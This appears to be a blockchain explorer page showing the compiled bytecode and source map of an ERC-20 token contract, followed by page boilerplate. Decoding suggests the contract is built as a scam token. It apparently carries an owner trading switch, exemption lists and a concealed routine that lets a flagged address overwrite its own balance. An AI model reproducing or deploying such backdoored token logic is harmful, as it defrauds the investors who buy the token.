5b915061135460208401611251565b90509250929050565b600181811c9082168061137157607f821691505b60208210810361139157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561063e5761063e6113cc565b8082018082111561063e5761063e6113cc565b6000816000190483118215151615611422576114226113cc565b500290565b60008261144457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba64736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063557ed1ba116100d157806395d89b411161008a578063c816841b11610064578063c816841b146104dc578063ca9ec19914610501578063dd62ed3e14610535578063f2fde38b1461057b57600080fd5b806395d89b4114610487578063a457c2d71461049c578063a9059cbb146104bc57600080fd5b8063557ed1ba146103d65780636c580801146103e957806370a08231146103fe578063715018a6146104345780638da5cb5b14610449578063958c2e521461046757600080fd5b80632b112e491161013e5780633950935111610118578063395093511461031e5780633eaaf86b1461033e5780633ecad2711461037257806342a11095146103a257600080fd5b80632b112e49146102c5578063313ce567146102da57806331d5c249146102fc57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630a3ff9be146101ec57806318160ddd1461021c57806323b872dd1461025957806327c8f8351461027957600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661059b565b6040516101b39190611203565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461126d565b61062d565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc610207366004611297565b60086020526000908152604090205460ff1681565b34801561022857600080fd5b507f00000000000000000000000000000000000000000cecb8f27f4200f3a00000005b6040519081526020016101b3565b34801561026557600080fd5b506101dc6102743660046112b2565b610644565b34801561028557600080fd5b506102ad7f000000000000000000000000000000000000000000000000000000000000dead81565b6040516001600160a01b0390911681526020016101b3565b3480156102d157600080fd5b5061024b6106ae565b3480156102e657600080fd5b5060035460405160ff90911681526020016101b3565b34801561030857600080fd5b5061031c6103173660046112ee565b610717565b005b34801561032a57600080fd5b506101dc61033936600461126d565b610775565b34801561034a57600080fd5b5061024b7f00000000000000000000000000000000000000000cecb8f27f4200f3a000000081565b34801561037e57600080fd5b506101dc61038d366004611297565b600a6020526000908152604090205460ff1681565b3480156103ae57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000281565b3480156103e257600080fd5b504261024b565b3480156103f557600080fd5b5061031c6107ab565b34801561040a57600080fd5b5061024b610419366004611297565b6001600160a01b031660009081526007602052604090205490565b34801561044057600080fd5b5061031c6107e4565b34801561045557600080fd5b506000546001600160a01b03166102ad565b34801561047357600080fd5b50600b546102ad906001600160a01b031681565b34801561049357600080fd5b506101a661085e565b3480156104a857600080fd5b506101dc6104b736600461126d565b61086d565b3480156104c857600080fd5b506101dc6104d736600461126d565b6108bc565b3480156104e857600080fd5b506006546102ad9061010090046001600160a01b031681565b34801561050d57600080fd5b5061024b7f000000000000000000000000000000000000000000000000000000000000000181565b34801561054157600080fd5b5061024b61055036600461132a565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561058757600080fd5b5061031c610596366004611297565b6108c9565b6060600480546105aa9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546105d69061135d565b80156106235780601f106105f857610100808354040283529160200191610623565b820191906000526020600020905b81548152906001019060200180831161060657829003601f168201915b5050505050905090565b600061063a3384846109b3565b5060015b92915050565b6000610651848484610ad7565b506106a4843361069f8560405180606001604052806028815260200161144a602891396001600160a01b038a1660009081526009602090815260408083203384529091529020549190610e3c565b6109b3565b5060019392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead16600090815260076020526040812054610712907f00000000000000000000000000000000000000000cecb8f27f4200f3a000000090610e76565b905090565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161074190611397565b60405180910390fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161063a91859061069f9086610ebf565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161074190611397565b6006805460ff19166001179055565b6000546001600160a01b0316331461080e5760405162461bcd60e51b815260040161074190611397565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105aa9061135d565b600061063a338461069f85604051806060016040528060258152602001611472602591393360009081526009602090815260408083206001600160a01b038d1684529091529020549190610e3c565b60006106a4338484610ad7565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161074190611397565b6001600160a01b0381166109585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610741565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a155760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610741565b6001600160a01b038216610a765760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610741565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600a6020526040812054819060ff16158015610b1057506000546001600160a01b03868116911614155b8015610b3557506001600160a01b03851660009081526008602052604090205460ff16155b15610b8a5760065460ff161515600003610b8a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610741565b6001600160a01b03851660009081526008602052604090205460ff1615610bb057508383145b6001600160a01b038516600090815260086020526040902054610bde9086908690869060079060ff16610f1e565b610c2a5760405162461bcd60e51b815260206004820152601c60248201527f45524332303a207472616e736665722066726f6d2074686520626f74000000006044820152606401610741565b6001600160a01b038516610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610741565b6001600160a01b038416610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610741565b80600003610e31576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038816600090815260079091529190912054610d4a918590610e3c565b6001600160a01b038616600090815260076020908152604080832093909355600890529081205460ff1680610d9757506001600160a01b03851660009081526008602052604090205460ff165b610dab57610da6868686610f61565b610dad565b835b6001600160a01b038616600090815260076020526040902054909150610dd39082610ebf565b6001600160a01b0380871660008181526007602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e279085815260200190565b60405180910390a3505b506001949350505050565b60008184841115610e605760405162461bcd60e51b81526004016107419190611203565b506000610e6d84866113e2565b95945050505050565b6000610eb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3c565b9392505050565b600080610ecc83856113f5565b905083811015610eb85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610741565b6000846001600160a01b0316866001600160a01b0316148015610f3e5750815b15610f555784600052826020526040600020848155505b50600195945050505050565b6001600160a01b0383166000908152600a6020526040812054819060ff1615610fc057610fb96064610fb3857f0000000000000000000000000000000000000000000000000000000000000002611116565b90611198565b9050611013565b6001600160a01b0384166000908152600a602052604090205460ff1615611013576110106064610fb3857f0000000000000000000000000000000000000000000000000000000000000001611116565b90505b801561110c576001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead1660009081526007602052604090205461105c9082610ebf565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead811660008181526007602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110d09085815260200190565b60405180910390a36040518181527fee46d471733b0bd7a506ceb1788a4087701a73b361fe28b6a49ef028eedc2d299060200160405180910390a15b610e6d8382610e76565b6000826000036111285750600061063e565b60006111348385611408565b9050826111418583611427565b14610eb85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610741565b6000610eb883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111f65760405162461bcd60e51b81526004016107419190611203565b506000610e6d8486611427565b600060208083528351808285015260005b8181101561123057858101830151858201604001528201611214565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461126857600080fd5b919050565b6000806040838503121561128057600080fd5b61128983611251565b946020939093013593505050565b6000602082840312156112a957600080fd5b610eb882611251565b6000806000606084860312156112c757600080fd5b6112d084611251565b92506112de60208501611251565b9150604084013590509250925092565b6000806040838503121561130157600080fd5b61130a83611251565b91506020830135801515811461131f57600080fd5b809150509250929050565b6000806040838503121561133d57600080fd5b61134683611251565b915061135460208401611251565b90509250929050565b600181811c9082168061137157607f821691505b60208210810361139157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8181038181111561063e5761063e6113cc565b8082018082111561063e5761063e6113cc565b6000816000190483118215151615611422576114226113cc565b500290565b60008261144457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba64736f6c63430008100033

Deployed Bytecode Sourcemap

11986:5910:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14101:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17037:161;;;;;;;;;;-1:-1:-1;17037:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;17037:161:0;1004:187:1;12623:41:0;;;;;;;;;;-1:-1:-1;12623:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14378:100;;;;;;;;;;-1:-1:-1;14458:12:0;14378:100;;;1533:25:1;;;1521:2;1506:18;14378:100:0;1387:177:1;14661:313:0;;;;;;;;;;-1:-1:-1;14661:313:0;;;;;:::i;:::-;;:::i;12079:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2066:32:1;;;2048:51;;2036:2;2021:18;12079:81:0;1902:203:1;17761:128:0;;;;;;;;;;;;;:::i;14287:83::-;;;;;;;;;;-1:-1:-1;14353:9:0;;14287:83;;14353:9;;;;2252:36:1;;2240:2;2225:18;14287:83:0;2110:184:1;17628:125:0;;;;;;;;;;-1:-1:-1;17628:125:0;;;;;:::i;:::-;;:::i;:::-;;16497:218;;;;;;;;;;-1:-1:-1;16497:218:0;;;;;:::i;:::-;;:::i;12167:67::-;;;;;;;;;;;;;;;12747:45;;;;;;;;;;-1:-1:-1;12747:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12241:35;;;;;;;;;;;;;;;3594:90;;;;;;;;;;-1:-1:-1;3661:15:0;3594:90;;17206:69;;;;;;;;;;;;;:::i;16214:124::-;;;;;;;;;;-1:-1:-1;16214:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;16307:23:0;16280:7;16307:23;;;:14;:23;;;;;;;16214:124;3094:230;;;;;;;;;;;;;:::i;2869:79::-;;;;;;;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;2934:6:0;2869:79;;12799:37;;;;;;;;;;-1:-1:-1;12799:37:0;;;;-1:-1:-1;;;;;12799:37:0;;;14192:87;;;;;;;;;;;;;:::i;16723:269::-;;;;;;;;;;-1:-1:-1;16723:269:0;;;;;:::i;:::-;;:::i;14486:167::-;;;;;;;;;;-1:-1:-1;14486:167:0;;;;;:::i;:::-;;:::i;12466:26::-;;;;;;;;;;-1:-1:-1;12466:26:0;;;;;;;-1:-1:-1;;;;;12466:26:0;;;12283:37;;;;;;;;;;;;;;;16346:143;;;;;;;;;;-1:-1:-1;16346:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16454:18:0;;;16427:7;16454:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16346:143;3338:244;;;;;;;;;;-1:-1:-1;3338:244:0;;;;;:::i;:::-;;:::i;14101:83::-;14138:13;14171:5;14164:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14101:83;:::o;17037:161::-;17112:4;17129:39;873:10;17152:7;17161:6;17129:8;:39::i;:::-;-1:-1:-1;17186:4:0;17037:161;;;;;:::o;14661:313::-;14759:4;14776:36;14786:6;14794:9;14805:6;14776:9;:36::i;:::-;-1:-1:-1;14823:121:0;14832:6;873:10;14854:89;14892:6;14854:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14854:19:0;;;;;;:11;:19;;;;;;;;873:10;14854:33;;;;;;;;;;:37;:89::i;:::-;14823:8;:121::i;:::-;-1:-1:-1;14962:4:0;14661:313;;;;;:::o;17761:128::-;-1:-1:-1;;;;;17868:11:0;16307:23;17814:7;16307:23;;;:14;:23;;;;;;17841:40;;:12;;:16;:40::i;:::-;17834:47;;17761:128;:::o;17628:125::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;17713:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;17713:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17628:125::o;16497:218::-;873:10;16585:4;16634:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16634:34:0;;;;;;;;;;16585:4;;16602:83;;16625:7;;16634:50;;16673:10;16634:38;:50::i;17206:69::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;17256:6:::1;:11:::0;;-1:-1:-1;;17256:11:0::1;17263:4;17256:11;::::0;;17206:69::o;3094:230::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;3185:6:::1;::::0;;3164:81:::1;::::0;3201:42:::1;::::0;-1:-1:-1;;;;;3185:6:0;;::::1;::::0;3164:81:::1;::::0;::::1;3256:6;:60:::0;;-1:-1:-1;;;;;;3256:60:0::1;3273:42;3256:60;::::0;;3094:230::o;14192:87::-;14231:13;14264:7;14257:14;;;;;:::i;16723:269::-;16816:4;16833:129;873:10;16856:7;16865:96;16904:15;16865:96;;;;;;;;;;;;;;;;;873:10;16865:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16865:34:0;;;;;;;;;;;;:38;:96::i;14486:167::-;14564:4;14581:42;873:10;14605:9;14616:6;14581:9;:42::i;3338:244::-;3003:6;;-1:-1:-1;;;;;3003:6:0;873:10;3003:22;2995:67;;;;-1:-1:-1;;;2995:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3427:22:0;::::1;3419:73;;;::::0;-1:-1:-1;;;3419:73:0;;4099:2:1;3419:73:0::1;::::0;::::1;4081:21:1::0;4138:2;4118:18;;;4111:30;4177:34;4157:18;;;4150:62;-1:-1:-1;;;4228:18:1;;;4221:36;4274:19;;3419:73:0::1;3897:402:1::0;3419:73:0::1;3529:6;::::0;;3508:38:::1;::::0;-1:-1:-1;;;;;3508:38:0;;::::1;::::0;3529:6;::::1;::::0;3508:38:::1;::::0;::::1;3557:6;:17:::0;;-1:-1:-1;;;;;;3557:17:0::1;-1:-1:-1::0;;;;;3557:17:0;;;::::1;::::0;;;::::1;::::0;;3338:244::o;17283:337::-;-1:-1:-1;;;;;17376:19:0;;17368:68;;;;-1:-1:-1;;;17368:68:0;;4506:2:1;17368:68:0;;;4488:21:1;4545:2;4525:18;;;4518:30;4584:34;4564:18;;;4557:62;-1:-1:-1;;;4635:18:1;;;4628:34;4679:19;;17368:68:0;4304:400:1;17368:68:0;-1:-1:-1;;;;;17455:21:0;;17447:68;;;;-1:-1:-1;;;17447:68:0;;4911:2:1;17447:68:0;;;4893:21:1;4950:2;4930:18;;;4923:30;4989:34;4969:18;;;4962:62;-1:-1:-1;;;5040:18:1;;;5033:32;5082:19;;17447:68:0;4709:398:1;17447:68:0;-1:-1:-1;;;;;17528:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17580:32;;1533:25:1;;;17580:32:0;;1506:18:1;17580:32:0;;;;;;;17283:337;;;:::o;14984:1222::-;-1:-1:-1;;;;;15125:23:0;;15071:4;15125:23;;;:12;:23;;;;;;15071:4;;15125:23;;15124:24;:45;;;;-1:-1:-1;2907:7:0;2934:6;-1:-1:-1;;;;;15152:17:0;;;2934:6;;15152:17;;15124:45;:66;;;;-1:-1:-1;;;;;;15174:16:0;;;;;;:8;:16;;;;;;;;15173:17;15124:66;15120:136;;;15214:6;;;;:15;;:6;:15;15206:50;;;;-1:-1:-1;;;15206:50:0;;5314:2:1;15206:50:0;;;5296:21:1;5353:2;5333:18;;;5326:30;-1:-1:-1;;;5372:18:1;;;5365:52;5434:18;;15206:50:0;5112:346:1;15206:50:0;-1:-1:-1;;;;;15275:16:0;;;;;;:8;:16;;;;;;;;15272:134;;;-1:-1:-1;15356:20:0;;;15272:134;-1:-1:-1;;;;;15489:16:0;;;;;;:8;:16;;;;;;15438:68;;15450:6;;15457:9;;15467:6;;15474:14;;15489:16;;15438:11;:68::i;:::-;15430:109;;;;-1:-1:-1;;;15430:109:0;;5665:2:1;15430:109:0;;;5647:21:1;5704:2;5684:18;;;5677:30;5743;5723:18;;;5716:58;5791:18;;15430:109:0;5463:352:1;15430:109:0;-1:-1:-1;;;;;15558:20:0;;15550:70;;;;-1:-1:-1;;;15550:70:0;;6022:2:1;15550:70:0;;;6004:21:1;6061:2;6041:18;;;6034:30;6100:34;6080:18;;;6073:62;-1:-1:-1;;;6151:18:1;;;6144:35;6196:19;;15550:70:0;5820:401:1;15550:70:0;-1:-1:-1;;;;;15639:23:0;;15631:71;;;;-1:-1:-1;;;15631:71:0;;6428:2:1;15631:71:0;;;6410:21:1;6467:2;6447:18;;;6440:30;6506:34;6486:18;;;6479:62;-1:-1:-1;;;6557:18:1;;;6550:33;6600:19;;15631:71:0;6226:399:1;15631:71:0;15716:14;15732:1;15716:17;15713:464;;15774:58;;;;;;;;;;;-1:-1:-1;;;15774:58:0;;;;;;;;-1:-1:-1;;;;;15774:22:0;;-1:-1:-1;15774:22:0;;;:14;:22;;;;;;;;:58;;15801:6;;15774:26;:58::i;:::-;-1:-1:-1;;;;;15749:22:0;;;;;;:14;:22;;;;;;;;:83;;;;15872:8;:16;;;;;;;;;:39;;-1:-1:-1;;;;;;15892:19:0;;;;;;:8;:19;;;;;;;;15872:39;15871:129;;15970:30;15974:6;15982:9;15993:6;15970:3;:30::i;:::-;15871:129;;;15961:6;15871:129;-1:-1:-1;;;;;16047:25:0;;;;;;:14;:25;;;;;;15849:151;;-1:-1:-1;16047:42:0;;15849:151;16047:29;:42::i;:::-;-1:-1:-1;;;;;16019:25:0;;;;;;;:14;:25;;;;;;;:70;;;;16125:40;;;;;;;;;;16153:11;1533:25:1;;1521:2;1506:18;;1387:177;16125:40:0;;;;;;;;15734:443;15713:464;-1:-1:-1;16194:4:0;;14984:1222;-1:-1:-1;;;;14984:1222:0:o;1380:192::-;1466:7;1502:12;1494:6;;;;1486:29;;;;-1:-1:-1;;;1486:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1526:9:0;1538:5;1542:1;1538;:5;:::i;:::-;1526:17;1380:192;-1:-1:-1;;;;;1380:192:0:o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;1236:136;-1:-1:-1;;;1236:136:0:o;1047:181::-;1105:7;;1137:5;1141:1;1137;:5;:::i;:::-;1125:17;;1166:1;1161;:6;;1153:46;;;;-1:-1:-1;;;1153:46:0;;7227:2:1;1153:46:0;;;7209:21:1;7266:2;7246:18;;;7239:30;7305:29;7285:18;;;7278:57;7352:18;;1153:46:0;7025:351:1;3692:453:0;3820:4;3844:1;-1:-1:-1;;;;;3839:6:0;:1;-1:-1:-1;;;;;3839:6:0;;:13;;;;;3849:3;3839:13;3836:279;;;3918:1;3915;3908:12;3961:9;3957:2;3950:21;4026:2;4023:1;4013:16;4072:6;4066:4;4059:20;;3836:279;-1:-1:-1;4132:4:0;3692:453;;;;;;;:::o;13459:634::-;-1:-1:-1;;;;;13602:15:0;;13528:7;13602:15;;;:12;:15;;;;;;13528:7;;13602:15;;13599:189;;;13645:28;13669:3;13645:19;:6;13656:7;13645:10;:19::i;:::-;:23;;:28::i;:::-;13634:39;;13599:189;;;-1:-1:-1;;;;;13704:15:0;;;;;;:12;:15;;;;;;;;13701:87;;;13747:29;13772:3;13747:20;:6;13758:8;13747:10;:20::i;:29::-;13736:40;;13701:87;13811:12;;13808:238;;-1:-1:-1;;;;;13902:11:0;13879:36;;;;;:14;:36;;;;;;:50;;13920:8;13879:40;:50::i;:::-;-1:-1:-1;;;;;13863:11:0;13840:36;;;;;;:14;:36;;;;;;;:89;;;;13949:43;;;;;;;;;;13983:8;1533:25:1;;1521:2;1506:18;;1387:177;13949:43:0;;;;;;;;14012:22;;1533:25:1;;;14012:22:0;;1521:2:1;1506:18;14012:22:0;;;;;;;13808:238;14065:20;:6;14076:8;14065:10;:20::i;1580:250::-;1638:7;1662:1;1667;1662:6;1658:47;;-1:-1:-1;1692:1:0;1685:8;;1658:47;1717:9;1729:5;1733:1;1729;:5;:::i;:::-;1717:17;-1:-1:-1;1762:1:0;1753:5;1757:1;1717:17;1753:5;:::i;:::-;:10;1745:56;;;;-1:-1:-1;;;1745:56:0;;7978:2:1;1745:56:0;;;7960:21:1;8017:2;7997:18;;;7990:30;8056:34;8036:18;;;8029:62;-1:-1:-1;;;8107:18:1;;;8100:31;8148:19;;1745:56:0;7776:397:1;1838:132:0;1896:7;1923:39;1927:1;1930;1923:39;;;;;;;;;;;;;;;;;2064:7;2099:12;2092:5;2084:28;;;;-1:-1:-1;;;2084:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2123:9:0;2135:5;2139:1;2135;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:186::-;1255:6;1308:2;1296:9;1287:7;1283:23;1279:32;1276:52;;;1324:1;1321;1314:12;1276:52;1347:29;1366:9;1347:29;:::i;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2299:347::-;2364:6;2372;2425:2;2413:9;2404:7;2400:23;2396:32;2393:52;;;2441:1;2438;2431:12;2393:52;2464:29;2483:9;2464:29;:::i;:::-;2454:39;;2543:2;2532:9;2528:18;2515:32;2590:5;2583:13;2576:21;2569:5;2566:32;2556:60;;2612:1;2609;2602:12;2556:60;2635:5;2625:15;;;2299:347;;;;;:::o;2886:260::-;2954:6;2962;3015:2;3003:9;2994:7;2990:23;2986:32;2983:52;;;3031:1;3028;3021:12;2983:52;3054:29;3073:9;3054:29;:::i;:::-;3044:39;;3102:38;3136:2;3125:9;3121:18;3102:38;:::i;:::-;3092:48;;2886:260;;;;;:::o;3151:380::-;3230:1;3226:12;;;;3273;;;3294:61;;3348:4;3340:6;3336:17;3326:27;;3294:61;3401:2;3393:6;3390:14;3370:18;3367:38;3364:161;;3447:10;3442:3;3438:20;3435:1;3428:31;3482:4;3479:1;3472:15;3510:4;3507:1;3500:15;3364:161;;3151:380;;;:::o;3536:356::-;3738:2;3720:21;;;3757:18;;;3750:30;3816:34;3811:2;3796:18;;3789:62;3883:2;3868:18;;3536:356::o;6630:127::-;6691:10;6686:3;6682:20;6679:1;6672:31;6722:4;6719:1;6712:15;6746:4;6743:1;6736:15;6762:128;6829:9;;;6850:11;;;6847:37;;;6864:18;;:::i;6895:125::-;6960:9;;;6981:10;;;6978:36;;;6994:18;;:::i;7381:168::-;7421:7;7487:1;7483;7479:6;7475:14;7472:1;7469:21;7464:1;7457:9;7450:17;7446:45;7443:71;;;7494:18;;:::i;:::-;-1:-1:-1;7534:9:1;;7381:168::o;7554:217::-;7594:1;7620;7610:132;;7664:10;7659:3;7655:20;7652:1;7645:31;7699:4;7696:1;7689:15;7727:4;7724:1;7717:15;7610:132;-1:-1:-1;7756:9:1;;7554:217::o

Swarm Source

ipfs://b4b1d25ff73bc328f76194586f41c75dda1017630fc8bfde7a2e8a9706bcb3ba
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.